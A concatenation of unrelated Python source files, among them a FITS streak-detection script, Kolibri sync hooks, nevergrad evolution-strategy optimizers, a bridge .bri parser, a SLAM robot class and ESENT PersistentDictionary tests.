) sample_recipe(user=user2) sample_recipe(user=self.user) res = self.client.get(RECIPES_URL) recipes = Recipe.objects.filter(user=self.user) serializer = RecipeSerializer(recipes, many=True) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data), 1) self.assertEqual(res.data, serializer.data)
py
1a4cbbac5a1a713f40c356e298f9f58150bb0707
#! /usr/bin/env python # # 1440 files took about 38 mins # from __future__ import print_function from tkinter import filedialog from astride import Streak import glob import sys import shutil import os import tkinter as tk import matplotlib.pyplot as plt from astropy.io import fits import numpy as np def get_arg(argv): if len(argv) == 1: return get_int_arg(argv) else: return get_cmd_arg(argv) def mk_diff(f0,f1,diff): hdu0 = fits.open(f0) hdu1 = fits.open(f1) h1 = hdu1[0].header d0 = hdu0[0].data d1 = hdu1[0].data if v: print("DEBUG mean/std: %s %s %s %g %g" % (f0,f1,diff,d0.mean(),d0.std())) d2 = d1-d0 fits.writeto(diff,d2,h1,overwrite=True) def get_cmd_arg(argv,shape=.14,area=120,contour=12): import argparse as ap parser = ap.ArgumentParser() parser.add_argument('-i','--filein', nargs=1,help = 'Directory to fits directory') parser.add_argument('-o','--fileout', nargs=1,help = 'Directory to detection folder') parser.add_argument('-s','--shape', nargs=1,help = 'Shape factor') parser.add_argument('-a','--area', nargs=1,help = 'Minimum area to be considered a streak') parser.add_argument('-c','--contour',nargs=1,help = 'blah Control value') args=vars(parser.parse_args()) if args['filein'] != None: file_pathin = (args['filein'][0]) if args['fileout'] != None: file_pathout = (args['fileout'][0]) if args['shape'] != None: shape = float(args['shape'][0]) if args['area'] != None: area = float(args['area'][0]) if args['contour'] != None: contour = float(args['contour'][0]) return (file_pathin,file_pathout,shape,area,contour) def get_int_arg(argv): #Creates folder input browsers winin = tk.Tk() winin.withdraw() winin.attributes('-topmost', True) file_pathin = filedialog.askdirectory(title = "Select input") #Creates folder output browsers winout = tk.Tk() winout.withdraw() winout.attributes('-topmost', True) file_pathout = filedialog.askdirectory(title = "Select output") winout.destroy() winin.destroy() #ask user for remaining arguments print("\nClicking enter will apply default values, entering a value will change it.") nshape = input("Shape value (1=circle, .1=thin oval) (default = 0.14): ") if nshape == "": shape = .14 else: shape = float(nshape) narea = input("Minimum area (default = 120): ") if narea == "": area = 120 else: area = float(narea) ncontour = input("Contour value (higher=only brighter streaks detected)(default = 12): ") if ncontour == "": contour = 12 else: contour = float(ncontour) ndiff = input("Create difference images (default = False): ") if ndiff == "": diff = False else: diff = ndiff.lower() == 'true' nv = input("Enable verbose mode (default = False): ") if nv == "": v = False else: v = nv.lower() == 'true' return(file_pathin,file_pathout,shape,area,contour,diff,v) def do_dir(d,dsum,shape,area,contour,diff,v): """ process a directory 'd' """ #print("Outputting in directory: " + dsum) if dsum == None: dsum = d else: if not os.path.exists(dsum): os.mkdir(dsum) num = 0 detected = 0 fileCount = 0 zero = 0 # debug/verbose if v: print('DEBUG: shape=%g area=%g contour=%g' % (shape,area,contour)) ffs = glob.glob(d+'/*.FIT') + glob.glob(d+'/*.fit') + \ glob.glob(d+'/*.FTS') + glob.glob(d+'/*.fts') + \ glob.glob(d+'/*.FITS') + glob.glob(d+'/*.fits') ffs = list(set(ffs)) # needed for dos ffs.sort() # on linux wasn't sorted, on dos it was f = open(dsum+'/summary.txt','w') # Creates summary text file f.write('Streaks found in files: \n') #Creates first line for summary file print('Processing %d files' % len(ffs)) for ff in ffs: # creates directory one directory back from the folder which contains fits files num = do_one(ff,dsum+'/'+ff[ff.rfind(os.sep)+1:ff.rfind('.')],shape,area,contour) if num == 0: zero += 1 else: detected += int(num) #Counter of how many streaks detected f.write(ff + '\n') fileCount += 1 #Counter for how many files analyzed # Produce and write summary file f.write('\n' 'Files analyzed: ' + str(fileCount)+ '\n' ) f.write('Streaks detected: ' + str(detected) + '\n' ) f.write('Files with no detections: ' + str(zero) + '\n\n\n') if diff: num = 0 detected = 0 fileCount = 0 zero = 0 dfs = [] print('Computing %d differences' % (len(ffs)-1)) for i in range(len(ffs)-1): dfs.append(ffs[i+1]+'.diff') mk_diff(ffs[i],ffs[i+1],dfs[i]) print('Processing %d files' % (len(ffs)-1)) for df in dfs: num = do_one(df,dsum+'/'+df[df.rfind(os.sep)+1:df.find('.')]+'DIFF',shape,area,contour) if num == 0: zero += 1 else: detected += int(num) #Counter of how many streaks detected f.write(df + '\n') fileCount += 1 #Counter for how many files analyzed # Produce and write summary file f.write('\n' 'Files analyzed: ' + str(fileCount)+ '\n' ) f.write('Streaks detected: ' + str(detected) + '\n' ) f.write('Files with no detections: ' + str(zero) + '\n') f.close() else: f.close() def do_one(ff,output_path=None,shape=None,area=None,contour=None): """ process a directory one fits-file (ff) """ # Read a fits image and create a Streak instance. streak = Streak(ff,output_path=output_path) # Detect streaks. # streak.shape_cut = .14 # streak.area_cut = 120 # streak.contour_threshold = 12 #Customization of values streak.shape_cut = shape streak.area_cut = area streak.contour_threshold = contour streak.detect() # Write outputs and plot figures. streak.write_outputs() streak.plot_figures() streakfile=output_path+"/streaks.txt" fp=open(streakfile) lines=fp.readlines() fp.close() #print("streaks found %d" % (len(lines)-1)) #print("%d " % (len(lines)-1)) n = len(lines)-1 if n == 0: sys.stdout.write('.') elif n < 10: sys.stdout.write('%d' % n) else: sys.stdout.write('*') sys.stdout.flush() #Delete/move files #if n == 0: # shutil.rmtree(output_path) return int(n) #def do_one(ff,output_path=None,shape=None,area=None,contour=None): BACKUP """ process a directory one fits-file (ff) """ # Read a fits image and create a Streak instance. streak = Streak(ff,output_path=output_path) # Detect streaks. # streak.shape_cut = .14 # streak.area_cut = 120 # streak.contour_threshold = 12 #Customization of values streak.shape_cut = shape streak.area_cut = area streak.contour_threshold = contour streak.detect() # Write outputs and plot figures. streak.write_outputs() streak.plot_figures() streakfile=output_path+"/streaks.txt" fp=open(streakfile) lines=fp.readlines() fp.close() #print("streaks found %d" % (len(lines)-1)) #print("%d " % (len(lines)-1)) n = len(lines)-1 if n == 0: sys.stdout.write('.') elif n < 10: sys.stdout.write('%d' % n) else: sys.stdout.write('*') sys.stdout.flush() #Delete/move files if n == 0: shutil.rmtree(output_path) return int(n) #do_one('20151108_MD01_raw/IMG00681.FIT') #do_dir('20151108_MD01_raw') if __name__ == '__main__': (file_pathin,file_pathout,shape,area,contour,diff,v) = get_arg(sys.argv) #Prints selected folders print("Running in data directory %s" % file_pathin) print("Outputting in data directory %s" % file_pathout) do_dir(file_pathin,file_pathout,shape,area,contour,diff,v) #print("Running in data directory %s" % sys.argv[1]) #do_dir(sys.argv[1],sys.argv[2])
py
1a4cbc73a85cac109ab4b03aaec1536a52c2a0df
import json import logging from django.utils.functional import wraps from morango.sync.context import LocalSessionContext from kolibri.core.auth.constants.morango_sync import ScopeDefinitions from kolibri.core.auth.hooks import FacilityDataSyncHook logger = logging.getLogger(__name__) def _get_our_cert(context): ss = context.sync_session return ss.server_certificate if ss.is_server else ss.client_certificate def _get_their_cert(context): ss = context.sync_session return ss.client_certificate if ss.is_server else ss.server_certificate def this_side_using_single_user_cert(context): return _get_our_cert(context).scope_definition_id == ScopeDefinitions.SINGLE_USER def other_side_using_single_user_cert(context): return _get_their_cert(context).scope_definition_id == ScopeDefinitions.SINGLE_USER def get_user_id_for_single_user_sync(context): if other_side_using_single_user_cert(context): cert = _get_their_cert(context) elif this_side_using_single_user_cert(context): cert = _get_our_cert(context) else: return None return json.loads(cert.scope_params)["user_id"] def get_other_side_kolibri_version(context): """ :type context: morango.sync.context.LocalSessionContext :return: A str or None """ # get the instance info for the other instance instance_info = context.sync_session.server_instance_data if context.is_server: instance_info = context.sync_session.client_instance_data # get the kolibri version, which is defined in # kolibri.core.auth.constants.morango_sync:CUSTOM_INSTANCE_INFO return instance_info.get("kolibri") def _extract_kwargs_from_context(context): return { "dataset_id": _get_our_cert(context).get_root().id, "local_is_single_user": this_side_using_single_user_cert(context), "remote_is_single_user": other_side_using_single_user_cert(context), "single_user_id": get_user_id_for_single_user_sync(context), "context": context, } def _local_event_handler(func): @wraps(func) def wrapper(context): if isinstance(context, LocalSessionContext): kwargs = _extract_kwargs_from_context(context) return func(**kwargs) return wrapper @_local_event_handler def _pre_transfer_handler(**kwargs): for hook in FacilityDataSyncHook.registered_hooks: # we catch all errors because as a rule of thumb, we don't want hooks to fail try: hook.pre_transfer(**kwargs) except Exception as e: logger.error( "{}.pre_transfer hook failed".format(hook.__class__.__name__), exc_info=e, ) @_local_event_handler def _post_transfer_handler(**kwargs): for hook in FacilityDataSyncHook.registered_hooks: # we catch all errors because as a rule of thumb, we don't want hooks to fail try: hook.post_transfer(**kwargs) except Exception as e: logger.error( "{}.post_transfer hook failed".format(hook.__class__.__name__), exc_info=e, ) def register_sync_event_handlers(session_controller): session_controller.signals.initializing.completed.connect(_pre_transfer_handler) session_controller.signals.cleanup.completed.connect(_post_transfer_handler)
py
1a4cbec08838b206ff187aca46c4d73d4f535d6f
# Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import sys from libcloud.compute.drivers.exoscale import ExoscaleNodeDriver from libcloud.test.compute.test_cloudstack import CloudStackCommonTestCase from libcloud.test import unittest class ExoscaleNodeDriverTestCase(CloudStackCommonTestCase, unittest.TestCase): driver_klass = ExoscaleNodeDriver if __name__ == '__main__': sys.exit(unittest.main())
py
1a4cbfa53ea51c5e07121c148d256ac58e9ffdf1
class Message(object): code=0 message='' body='' title='' level='info' # debug, info, warn(alert), error redirect_url='#' # after user click ok/cancel, jump to redirect_url def __init__(self, message, code=0, message_title='', level='info', message_type='info'): self.message=message self.body=message self.title=message_title self.code=code self.level=(message_type or level)
py
1a4cc075270615bf19ac0f4ace0738625d6b7642
import streamlit as st import json import pandas as pd import gspread import tweepy import time import os from gspread_dataframe import get_as_dataframe, set_with_dataframe import toml from requests_oauthlib import OAuth1Session from urllib.parse import parse_qsl sectets = toml.load('settings.toml') #-----------json--uploder--- if not 'KEY_FILE_PATH' in st.session_state: st.session_state['KEY_FILE_PATH'] = 'sheet_secret.json' st.write('file path: ' + st.session_state['KEY_FILE_PATH']) uploaded_file = st.file_uploader("uplode spreadsheet api key json file") if uploaded_file is not None: # To read file as bytes: json_str = uploaded_file.getvalue().decode('utf-8') with open(st.session_state['KEY_FILE_PATH'], 'w') as json_file: json.dump(json.loads(json_str), json_file, indent=2) st.write(json_str) #-----------json--uploder--- #--------sheet-api------- st.title('sheet-api') key_file_path = sectets['SPREAD_SHEET']['KEY_FILE_PATH'] sheet_key = sectets['SPREAD_SHEET']['SHEET_KEY'] sheet_title = sectets['SPREAD_SHEET']['TWITTER_SHEET'] get_sheet_button = st.button("get account data") if get_sheet_button: gc = gspread.service_account(key_file_path) sh = gc.open_by_key(sheet_key) wks = sh.worksheet(sheet_title) df = get_as_dataframe(wks, skiprows=0, header=0) st.dataframe(df) #--------sheet-api-------
py
1a4cc0f2953e4278fff2eee0c3cc81e9ff8d35c1
import warnings from . import DealFormat from .. import dto class BRIFormat(DealFormat): number_warning = '.bri file format assumes consequent deal numbers from 1' @property def suffix(self): return '.bri' def parse_content(self, content): warnings.warn(self.number_warning) dealset = [] number = 1 while True: deal_str = content.read(128).strip() if len(deal_str) > 0: if len(deal_str) < 78: warning.warn('truncated .bri input: %s' % (deal_str)) break else: deal_obj = dto.Deal() deal_obj.number = number deal_obj.dealer = deal_obj.get_dealer(number) deal_obj.vulnerable = deal_obj.get_vulnerability(number) deal_obj.hands = self.parse_hands(deal_str) dealset.append(deal_obj) number += 1 else: break return dealset def parse_hands(self, deal_str): deal_obj = dto.Deal() try: deal = [int(deal_str[i*2:(i+1)*2], 10) for i in range(0, 39)] if max(deal) > 52: raise RuntimeError( 'invalid card in .bri file: %d' % (max(deal))) for hand in range(0, 3): for card in deal[13*hand:13*(hand+1)]: card = card - 1 suit = card / 13 card = card % 13 deal_obj.hands[hand][suit].append(self.cards[card]) deal_obj.fill_west() except ValueError: raise RuntimeError('invalid card in .bri file: %s' % (deal_str)) return deal_obj.hands def output_content(self, out_file, dealset): warnings.warn(self.number_warning) for deal in dealset: deal_str = self.single_deal_output(deal) deal_str += ' ' * 32 deal_str += chr(0) * 18 out_file.write(deal_str) def single_deal_output(self, deal): deal_str = '' for hand in deal.hands[0:3]: for i, suit in enumerate(hand): for card in suit: try: deal_str += '%02d' % (self.cards.index(card) + 13*i + 1) except ValueError: raise RuntimeError( 'invalid card character: %s in board %d' % (card, deal.number)) return deal_str
py
1a4cc13a8d6f6b211e7e829f4a9366cbf217d862
import time import cache import vkapi from log import datetime_format def main(a, args): dialogs = a.messages.getDialogs(unread=1)['items'] messages = {} users = [] chats = [] for msg in dialogs: def cb(req, resp): messages[req['peer_id']] = resp['items'][::-1] a.messages.getHistory.delayed(peer_id=vkapi.utils.getSender(msg['message']), count=min(msg['unread'], 10)).callback(cb) if 'chat_id' in msg['message']: chats.append(msg['message']['chat_id']) else: users.append(msg['message']['user_id']) uc = cache.UserCache(a, 'online') cc = cache.ConfCache(a) uc.load(users) cc.load(chats) a.sync() if dialogs: print('-------------------------\n') else: print('Nothing here') for msg in dialogs: m = msg['message'] if 'chat_id' in m: print('Chat "{}" ({}): {}'.format(cc[m['chat_id']]['title'], m['chat_id'], msg['unread'])) else: print('{} {} ({}){}: {}'.format(uc[m['user_id']]['first_name'], uc[m['user_id']]['last_name'], m['user_id'], ', online' if uc[m['user_id']]['online'] else '', msg['unread'])) print() for i in messages[vkapi.utils.getSender(msg['message'])]: print('[{}] {}'.format(time.strftime(datetime_format, time.localtime(i['date'])), i['body'])) print() print('-------------------------\n') if args: print(flush=True) mr = vkapi.MessageReceiver(a) while True: time.sleep(1) for m in mr.getMessages(): if 'chat_id' in m: print('Chat "{}" ({}), {} {}:'.format(cc[m['chat_id']]['title'], m['chat_id'], uc[m['user_id']]['first_name'], uc[m['user_id']]['last_name'])) else: print('{} {} ({}):'.format(uc[m['user_id']]['first_name'], uc[m['user_id']]['last_name'], m['user_id'])) print('[{}] {}'.format(time.strftime(datetime_format, time.localtime(m['date'])), m['body'])) print(flush=True)
py
1a4cc307410909acf0ab36b018b7a114a2cd7e58
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. import warnings import nevergrad.common.typing as tp # import numpy as np from nevergrad.parametrization import parameter as p from nevergrad.optimization.utils import UidQueue from . import base from .multiobjective import nsga2 as nsga2 class _EvolutionStrategy(base.Optimizer): """Experimental evolution-strategy-like algorithm The behavior is going to evolve """ def __init__( self, parametrization: base.IntOrParameter, budget: tp.Optional[int] = None, num_workers: int = 1, *, config: tp.Optional["EvolutionStrategy"] = None, ) -> None: if budget is not None and budget < 60: warnings.warn( "ES algorithms are inefficient with budget < 60", base.errors.InefficientSettingsWarning ) super().__init__(parametrization, budget=budget, num_workers=num_workers) self._population: tp.Dict[str, p.Parameter] = {} self._uid_queue = UidQueue() self._waiting: tp.List[p.Parameter] = [] # configuration self._config = EvolutionStrategy() if config is None else config self._rank_method: tp.Any = None # TODO better typing (eventually) if self._config.ranker == "nsga2": self._rank_method = nsga2.rank elif self._config.ranker != "simple": raise NotImplementedError(f"Unknown ranker {self._config.ranker}") self._no_hypervolume = self._config.offsprings is None def _internal_ask_candidate(self) -> p.Parameter: if self.num_ask < self._config.popsize: param = self.parametrization.sample() assert param.uid == param.heritage["lineage"] # this is an assumption used below self._uid_queue.asked.add(param.uid) self._population[param.uid] = param return param uid = self._uid_queue.ask() param = self._population[uid].spawn_child() param.mutate() ratio = self._config.recombination_ratio if ratio and self._rng.rand() < ratio: selected = self._rng.choice(list(self._population)) param.recombine(self._population[selected]) return param def _internal_tell_candidate(self, candidate: p.Parameter, loss: float) -> None: if self._config.offsprings is None: uid = candidate.heritage["lineage"] self._uid_queue.tell(uid) parent_value = float("inf") if uid not in self._population else base._loss(self._population[uid]) if loss < parent_value: self._population[uid] = candidate else: no_parent = next(iter(candidate.parents_uids), "#no_parent#") not in self._population if no_parent and len(self._population) < self._config.popsize: self._population[candidate.uid] = candidate self._uid_queue.tell(candidate.uid) else: self._waiting.append(candidate) if len(self._waiting) >= self._config.offsprings: self._select() def _select(self) -> None: choices = self._waiting + ([] if self._config.only_offsprings else list(self._population.values())) if self._rank_method is not None and self.num_objectives > 1: choices_rank = self._rank_method(choices, n_selected=self._config.popsize) choices = [x for x in choices if x.uid in choices_rank] else: choices.sort(key=base._loss) self._population = {x.uid: x for x in choices[: self._config.popsize]} self._uid_queue.clear() self._waiting.clear() for uid in self._population: self._uid_queue.tell(uid) class EvolutionStrategy(base.ConfiguredOptimizer): """Experimental evolution-strategy-like algorithm The API is going to evolve Parameters ---------- recombination_ratio: float probability of using a recombination (after the mutation) for generating new offsprings popsize: int population size of the parents (lambda) offsprings: int number of generated offsprings (mu) only_offsprings: bool use only offsprings for the new generation if True (True: lambda,mu, False: lambda+mu) ranker: str ranker for the multiobjective case (defaults to NSGA2) """ # pylint: disable=unused-argument def __init__( self, *, recombination_ratio: float = 0, popsize: int = 40, offsprings: tp.Optional[int] = None, only_offsprings: bool = False, ranker: str = "nsga2", ) -> None: super().__init__(_EvolutionStrategy, locals(), as_config=True) assert offsprings is None or not only_offsprings or offsprings > popsize if only_offsprings: assert offsprings is not None, "only_offsprings only work if offsprings is not None (non-DE mode)" assert 0 <= recombination_ratio <= 1 assert ranker in ["simple", "nsga2"] self.recombination_ratio = recombination_ratio self.popsize = popsize self.offsprings = offsprings self.only_offsprings = only_offsprings self.ranker = ranker RecES = EvolutionStrategy(recombination_ratio=1, only_offsprings=True, offsprings=60).set_name( "RecES", register=True ) RecMixES = EvolutionStrategy(recombination_ratio=1, only_offsprings=False, offsprings=20).set_name( "RecMixES", register=True ) RecMutDE = EvolutionStrategy(recombination_ratio=1, only_offsprings=False, offsprings=None).set_name( "RecMutDE", register=True ) ES = EvolutionStrategy(recombination_ratio=0, only_offsprings=True, offsprings=60).set_name( "ES", register=True ) MixES = EvolutionStrategy(recombination_ratio=0, only_offsprings=False, offsprings=20).set_name( "MixES", register=True ) MutDE = EvolutionStrategy(recombination_ratio=0, only_offsprings=False, offsprings=None).set_name( "MutDE", register=True ) NonNSGAIIES = EvolutionStrategy( recombination_ratio=0, only_offsprings=True, offsprings=60, ranker="simple" ).set_name("NonNSGAIIES", register=True)
py
1a4cc7989a3d2c434df58baacbf26aac26d51052
from math import * import random ### ------------------------------------- ### # Below, is the robot class # # This robot lives in 2D, x-y space, and its motion is # pointed in a random direction, initially. # It moves in a straight line until it comes close to a wall # at which point it stops. # # For measurements, it senses the x- and y-distance # to landmarks. This is different from range and bearing as # commonly studied in the literature, but this makes it much # easier to implement the essentials of SLAM without # cluttered math. # class robot: # -------- # init: # creates a robot with the specified parameters and initializes # the location (self.x, self.y) to the center of the world # def __init__(self, world_size = 100.0, measurement_range = 30.0, motion_noise = 1.0, measurement_noise = 1.0): self.measurement_noise = 0.0 self.world_size = world_size self.measurement_range = measurement_range self.x = world_size / 2.0 self.y = world_size / 2.0 self.motion_noise = motion_noise self.measurement_noise = measurement_noise self.landmarks = [] self.num_landmarks = 0 # returns a positive, random float def rand(self): return random.random() * 2.0 - 1.0 # -------- # move: attempts to move robot by dx, dy. If outside world # boundary, then the move does nothing and instead returns failure # def move(self, dx, dy): x = self.x + dx + self.rand() * self.motion_noise y = self.y + dy + self.rand() * self.motion_noise if x < 0.0 or x > self.world_size or y < 0.0 or y > self.world_size: return False else: self.x = x self.y = y return True # -------- # sense: returns x- and y- distances to landmarks within visibility range # because not all landmarks may be in this range, the list of measurements # is of variable length. Set measurement_range to -1 if you want all # landmarks to be visible at all times # ## TODO: paste your complete the sense function, here ## make sure the indentation of the code is correct def sense(self): ''' This function does not take in any parameters, instead it references internal variables (such as self.landamrks) to measure the distance between the robot and any landmarks that the robot can see (that are within its measurement range). This function returns a list of landmark indices, and the measured distances (dx, dy) between the robot's position and said landmarks. This function should account for measurement_noise and measurement_range. One item in the returned list should be in the form: [landmark_index, dx, dy]. ''' measurements = [] #import pdb; pdb.set_trace() # iterate through all of the landmarks in a world for i, landmark in enumerate(self.landmarks): # For each landmark # 1. compute dx and dy, the distances between the robot and the landmark # 2. account for measurement noise by *adding* a noise component to dx and dy # - The noise component should be a random value between [-1.0, 1.0)*measurement_noise # - Feel free to use the function self.rand() to help calculate this noise component # - It may help to reference the `move` function for noise calculation # 3. If either of the distances, dx or dy, fall outside of the internal var, measurement_range # then we cannot record them; if they do fall in the range, then add them to the measurements list # as list.append([index, dx, dy]), this format is important for data creation done later dx = fabs(self.x - landmark[0]) + self.rand() * self.measurement_noise dy = fabs(self.y - landmark[1]) + self.rand() * self.measurement_noise if dx < self.measurement_range and dy < self.measurement_range: measurements.append([i, dx, dy]) # return the final, complete list of measurements return measurements # -------- # make_landmarks: # make random landmarks located in the world # def make_landmarks(self, num_landmarks): self.landmarks = [] for i in range(num_landmarks): self.landmarks.append([round(random.random() * self.world_size), round(random.random() * self.world_size)]) self.num_landmarks = num_landmarks # called when print(robot) is called; prints the robot's location def __repr__(self): return 'Robot: [x=%.5f y=%.5f]' % (self.x, self.y) ####### END robot class #######
py
1a4cc7c9a27d1b56c40393008fed845c39321bb9
import unittest import random import threading import System from System.IO import Directory from System.IO import Path from System.Collections.Generic import Dictionary from System.Collections.Generic import SortedDictionary from System.Collections.Generic import SortedList import clr clr.AddReferenceByPartialName('Esent.Collections') from Microsoft.Isam.Esent.Collections.Generic import PersistentDictionary def deleteDirectory(directory): if Directory.Exists(directory): Directory.Delete(directory, True) class SingleDictionaryFixture(unittest.TestCase): def setUp(self): self._dataDirectory = 'SingleDictionaryFixture' self._deleteDataDirectory() self._dict = PersistentDictionary[System.String,System.String](self._dataDirectory) def tearDown(self): self._dict.Dispose() self._deleteDataDirectory() def _deleteDataDirectory(self): deleteDirectory(self._dataDirectory) def testInsertAndRetrieveRecord(self): self._dict['key'] = 'value' self.assertEqual(self._dict['key'], 'value') def testLargeKey(self): # esent may truncate the key, but we should be able to set all this data key = 'K' * 1024*1024 self._dict[key] = 'value' self.assertEqual(self._dict[key], 'value') def testLargeValue(self): value = 'V' * 1024*1024 self._dict['bigstuff'] = value self.assertEqual(self._dict['bigstuff'], value) def testNullKey(self): self._dict[None] = 'value' self.assertEqual(self._dict[None], 'value') def testNullValue(self): self._dict['key'] = None self.assertEqual(self._dict['key'], None) def testOverwriteRecord(self): self._dict['key'] = 'value' self._dict['key'] = 'newvalue' self.assertEqual(self._dict['key'], 'newvalue') def testContainsKeyReturnsFalseWhenKeyNotPresent(self): self.assertEqual(False, self._dict.ContainsKey('key')) def testContainsKeyReturnsTrueWhenKeyIsPresent(self): self._dict['key'] = 'value' self.assertEqual(True, self._dict.ContainsKey('key')) def testRemoveRemovesKey(self): self._dict['key'] = 'value' self.assertEqual(True, self._dict.Remove('key')) self.assertEqual(False, self._dict.ContainsKey('key')) def testRemoveReturnsFalseWhenKeyNotPresent(self): self.assertEqual(False, self._dict.Remove('key')) def testCountIsZeroWhenDictionaryIsEmpty(self): self.assertEqual(0, self._dict.Count) def testCountIncreasesWithInsert(self): self._dict['a'] = 'a' self._dict['b'] = 'b' self.assertEqual(2, self._dict.Count) def testLenDecreasesWithDelete(self): self._dict['a'] = 'a' self._dict['b'] = 'b' self._dict['c'] = 'c' self._dict.Remove('b') self.assertEqual(2, self._dict.Count) def testClearOnEmptyDictionary(self): self._dict.Clear() self.assertEqual(0, self._dict.Count) def testClearRemovesRecords(self): self._dict['b'] = 'b' self._dict['a'] = 'a' self._dict.Clear() self.assertEqual(0, self._dict.Count) class DictionaryFixture(unittest.TestCase): def setUp(self): self._dataDirectory = 'DictionaryFixture' self._deleteDataDirectory() def tearDown(self): self._deleteDataDirectory() def _deleteDataDirectory(self): deleteDirectory(self._dataDirectory) def disposeCloseTwice(self): dict = PersistentDictionary[System.Guid,System.Int64](self._dataDirectory) dict.Dispose() dict.Dispose() def testMultipleDictionaries(self): dict1 = PersistentDictionary[System.Int32,System.String](self._dataDirectory + '\\a') dict2 = PersistentDictionary[System.String,System.Int32](self._dataDirectory + '\\b') dict1[0] = 'hello' dict2['world'] = 1 self.assertEqual('hello', dict1[0]) self.assertEqual(1, dict2['world']) dict1.Dispose() dict2.Dispose() def testCloseAndReopenEmptyDictionary(self): dict = PersistentDictionary[System.DateTime,System.UInt16](self._dataDirectory) dict.Dispose() dict = PersistentDictionary[System.DateTime,System.UInt16](self._dataDirectory) self.assertEqual(0, dict.Count) dict.Dispose() class DictionaryComparisonFixture(unittest.TestCase): def setUp(self): self._dataDirectory = 'DictionaryComparisonFixture' self._deleteDataDirectory() self._createDictionary() self._expected = Dictionary[System.String,System.String]() def tearDown(self): self._closeDictionary() self._deleteDataDirectory() def _createDictionary(self): self._dict = PersistentDictionary[System.String,System.String](self._dataDirectory) def _closeDictionary(self): self._dict.Dispose() def _deleteDataDirectory(self): deleteDirectory(self._dataDirectory) def _compareWithExpected(self): self.assertEqual(self._expected.Count, self._dict.Count) for k in self._expected.Keys: self.assertEqual(self._expected[k], self._dict[k]) def _insert(self, k, v): self._expected[k] = v self._dict[k] = v def _delete(self, k): self._expected.Remove(k) self._dict.Remove(k) def _clear(self): self._expected.Clear() self._dict.Clear() def testEmptyDb(self): self._compareWithExpected() def testClear(self): for i in xrange(256): self._insert(str(i), repr(i)) self._compareWithExpected() self._clear() self._compareWithExpected() def testInserts(self): self._insert('a', '1234') self._insert('z', '0xF00D') self._insert('mmmmmm', 'donuts') self._insert('IronPython', 'rocks') self._compareWithExpected() def testReplaceDelete(self): self._insert('0', '') self._insert('1', '1111111111') self._insert('2', '222222222') self._insert('3', '33333333') self._insert('4', '4444444') self._insert('5', '555555') self._insert('5', '555555') self._insert('5', 'foo') self._insert('2', 'bar') self._delete('4') self._compareWithExpected() def testCloseAndOpen(self): for i in xrange(16): self._insert(str(i), '?' * i) self._compareWithExpected() self._closeDictionary() self._createDictionary() self._compareWithExpected() def testKeyIsCaseInsensitive(self): self._insert('aaa', 'foo') self._insert('aAa', 'bar') self._compareWithExpected() def testKeyRespectsSpaces(self): self._insert(' x', 'foo') self._insert('x', 'bar') self._insert('x ', 'baz') self._compareWithExpected() def testKeyRespectsSymbols(self): self._insert('QQQ.', 'foo') self._insert('QQQ', 'bar') self._insert('-QQQ', 'baz') self._compareWithExpected() def testRandomOperations(self): keys = 'abcdefghijklmompqrstuvwzyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' for i in xrange(12000): k = random.choice(keys) * random.randint(1,2) if random.random() < 0.005: self._closeDictionary() self._createDictionary() elif random.random() < 0.01: self._clear() elif random.random() < 0.20: if k in self._expected: self._delete(k) else: self._compareWithExpected() else: v = random.choice('XYZ#@$%*.') * random.randint(0,1024) self._insert(k,v) self._compareWithExpected() class MultiThreadingFixture(unittest.TestCase): def setUp(self): self._dataDirectory = 'MultiThreadingFixture' self._deleteDataDirectory() self._dict = PersistentDictionary[System.String,System.String](self._dataDirectory) def tearDown(self): self._dict.Dispose() self._deleteDataDirectory() def _deleteDataDirectory(self): deleteDirectory(self._dataDirectory) def _insertRange(self, low, high): for i in xrange(low, high): self._dict[str(i)] = str(i) def _deleteRange(self, low, high): for i in xrange(low, high): self._dict.Remove(str(i)) def _retrieveAllRecords(self, n): """Check that key=value for all records and there are n records""" self.assertEqual(n, self._dict.Count) for i in self._dict: self.assertEqual(i.Key, i.Value) def _randomOperations(self): keys = 'abcdefghijklmompqrstuvwzyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-+' for i in xrange(10000): k = random.choice(keys) * random.randint(1,8) if random.random() < 0.10: self._dict.Remove(k) else: v = '#' * random.randint(256,1024) self._dict[k] = v def testMultiThreadedInserts(self): threads = [threading.Thread(target = self._insertRange, args = (x*1000, (x+1) * 1000)) for x in range(4)] for t in threads: t.start() d = {} for i in xrange(4000): d[str(i)] = str(i) for t in threads: t.join() self.assertEqual(len(d), self._dict.Count) for k in d.keys(): self.assertEqual(d[k], self._dict[k]) def testMultiThreadedReplaces(self): for i in xrange(4000): self._dict[str(i)] = 'XXXX' threads = [threading.Thread(target = self._insertRange, args = (x*1000, (x+1) * 1000)) for x in range(4)] for t in threads: t.start() d = {} for i in xrange(4000): d[str(i)] = str(i) for t in threads: t.join() self.assertEqual(len(d), self._dict.Count) for k in d.keys(): self.assertEqual(d[k], self._dict[k]) def testMultiThreadedRetrieves(self): n = 4000 for i in xrange(n): self._dict[str(i)] = str(i) threads = [threading.Thread(target = self._retrieveAllRecords, args = (n,))] for t in threads: t.start() for t in threads: t.join() def testMultiThreadedDeletes(self): for i in xrange(4000): self._dict[str(i)] = str(i) threads = [threading.Thread(target = self._deleteRange, args = (x*1000, (x+1) * 1000)) for x in range(4)] for t in threads: t.start() for t in threads: t.join() self.assertEqual(0, self._dict.Count) def testRandomMultiThreadedOperations(self): threads = [threading.Thread(target = self._randomOperations) for x in range(8)] for t in threads: t.start() self._dict.Clear() # try a concurrent clear for t in threads: t.join() class GenericDictionaryFixtureBase(unittest.TestCase): def _deleteDataDirectory(self): deleteDirectory(self._dataDirectory) def _add(self, expected, actual, k, v): """Add (k,v). This fails if k already exists.""" actual.Add(k,v) expected.Add(k,v) def _set(self, expected, actual, k, v): """Set k = v.""" actual[k] = v expected[k] = v def _remove(self, expected, actual, k): self.assertEqual(True, 